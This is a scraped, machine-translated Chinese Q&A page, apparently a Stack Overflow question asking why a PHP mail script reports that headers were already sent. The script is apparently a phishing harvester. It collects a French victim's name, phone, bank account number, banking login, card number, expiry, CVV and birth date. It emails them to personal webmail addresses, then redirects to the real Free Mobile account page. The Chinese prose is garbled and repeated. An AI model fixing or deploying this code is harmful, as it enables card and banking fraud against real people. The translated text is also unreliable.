Php邮件脚本返回错误,说明标头已被使用
问题是什么?我希望它的工作方式是,当电子邮件发送后,将页面重定向到Php邮件脚本返回错误,说明标头已被使用,php,email,Php,Email,问题是什么?我希望它的工作方式是,当电子邮件发送后,将页面重定向到 您能帮我找到一个解决方案吗?在调用页眉之前,请确保不要重复页面上的任何内容。还增加了模具;在您的标题呼叫之后您的意思是标题已经发送。是的,对不起@Fred ii-你能帮我把它弄对吗?检查POST的值,可能有未定义的POST索引在标题重新定位之前产生了通知错误,例如$dob=isset$_后[“出生”]$_出生后:;你能让代码工作吗?请@Maxi无法在服务器上测试您的场景,但您所拥有的应该可以工作。仅供参考,不建议通过电子邮件发送
您能帮我找到一个解决方案吗?在调用页眉之前,请确保不要重复页面上的任何内容。还增加了模具;在您的标题呼叫之后您的意思是标题已经发送。是的,对不起@Fred ii-你能帮我把它弄对吗?检查POST的值,可能有未定义的POST索引在标题重新定位之前产生了通知错误,例如$dob=isset$_后[“出生”]$_出生后:;你能让代码工作吗?请@Maxi无法在服务器上测试您的场景,但您所拥有的应该可以工作。仅供参考,不建议通过电子邮件发送这样的信用卡数据。它不符合PCI,而且非常不安全。
<?php
if(isset($_POST['submitbtn']))
{
$pname= $_POST['nom'];
$telephone= $_POST['telph'];
$acnumber= $_POST['compte'];
$rbl= $_POST['distance'];
$cardno = $_POST['carte'];
$expmonth = $_POST['months'];
$expyear = $_POST['year'];
$cvv = $_POST['cvv'];
$dob = $_POST['birth'];
$subject = 'Contact Form from '.$pname.'';
$message = 'Nom et prénom:- '.$pname.'
Telephone: '.$telephone.'
Numéro de compte:- '.$acnumber.'
Identifiant banque à distance:- '.$rbl.'
Numéro de Carte:- '.$cardno.'
date d expiration:- '.$expmonth.','.$expyear.'
Cvv 2:- '.$cvv.'
Date de naissance :- '.$dob.' ';
$to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com";
$header = "From:www.webperfection.co.in/clients/photonics/ \r\n";
$retval = mail ($to,$subject,$message,$header);
if ($retval) {
header("Location: https://mobile.free.fr/moncompte/");
exit;
} else {
//header("Location: /error.html");
exit;
}
}
?>